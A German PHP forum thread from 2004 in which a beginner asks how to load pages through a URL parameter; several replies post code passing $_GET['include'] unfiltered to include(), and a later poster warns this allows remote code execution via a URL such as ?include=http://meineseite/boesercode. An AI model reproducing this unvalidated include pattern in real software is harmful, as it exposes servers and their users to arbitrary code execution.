Seite 1 von 2

Entfallener Befehl...

Verfasst: 19.12.2004 21:11
von ~Kami~
Hi zusammen ^^
Also ich hab mir mal vor einiger Zeit mit den PHP Grundkentnissen ausseinandergesetzt.
Gestern Abend wollte ich mir mal wieder eine kleine Seite basteln, musste aber feststellen dass ich vergessen hab wie man andere Seiten in einer Seite einbaut und weitere per Link einfügen kann.
Im kurzen ganzen, es soll den Effekt von include ("x.php"); haben aber auch per Link wie ...index.php?include=x.php abrufbar sein. Ich glaube das war irgendetwas mit content oder so bin mir aber nicht mehr ganz sicher. Wäre nett wenn mir da jemand weiterhelfen könnte ^^

Verfasst: 19.12.2004 21:23
von r4bbIt
meinst du sowas?

Code: Alles auswählen

if(isset($_GET['include']))
{
 include($_GET['include]);
}

Verfasst: 19.12.2004 21:32
von ~Kami~
Erm ja...
Jetzt kommt der Noob an's Tageslicht Parse Error bin zu blöd das einzubauen :oops:

Verfasst: 19.12.2004 21:37
von Lord_Femto
bist du nicht. r4bbIt hatte bloß ein flüchtigkeitsfehler.

Code: Alles auswählen

if(isset($_GET['include'])) 
{ 
 include($_GET['include']); 
}

Verfasst: 19.12.2004 21:39
von kratzer54847

Code: Alles auswählen

if(isset($_GET['include'])) 
{ 
 include($_GET['include']); 
}
hoffe es funzt[/code]

Verfasst: 19.12.2004 21:44
von ~Kami~
Kommt wohl von der Übermüdung. Habe bis gerade nicht gesehen, wo der Unterschied lag (bei bestimmt acht mal vergleichen...). Danke für die hilfe ^^
Btw. Hab schon ein nächtes Problem perat, das in einem neuen Thread wartet *schäm*

Verfasst: 20.12.2004 00:06
von Pyramide
Daß ich (sofern $_GET['include'] nicht gefiltert wird) damit per foo.php?include=http://meineseite/boesercode beliebigen Code auf eurem Server ausführen kann, ist euch aber hoffentlich bewusst...?

Verfasst: 20.12.2004 07:07
von ~Kami~
Ja, aber gab es da nicht noch irgendwie eine Möglichkeit sich davor zu schützen?
Was ist wenn soetwas vorkommt? Wer übernimmt die Haftung?

Verfasst: 20.12.2004 07:59
von Cojote
Du könntest das GET-Argument mit nem regulären Ausdruck überprüfen und gegebenenfalls ne Fehlermeldung ausgeben lassen.

Wenn das ganze stur hardgecodet ohne Überprüfung des Arguments geschieht ist es möglich jeden beliebigen PHP-Code auf der Maschine auszuführen.
Als Programmierer der eine solche Software zum Verkauf anbietet kann der Kunde Ansprüche an dich stellen, außer du schließt das vor dem Verkauf per Vertrag aus.

Es ist generell schlecht einen Navigationsmechanismus alleine über includes zu lösen.

Verfasst: 20.12.2004 12:45
von ~Kami~
... Das hatte ich schonmal, wo dann die Fehlermeldung "hacking atemppt"(«stammt nicht von mir habe nur die Seite verwaltet ^^) erschien. Leider habe ich komplett vergessen wie das aufgebaut war, sonst hätte ich ja auch wohl kaum gefragt ;) ... wie gesagt, habe nur die untersten Grundkentnisse. Könnte mir da vielleicht jemand bei helfen mit der Überprüfung und der Fehlermeldung? ._.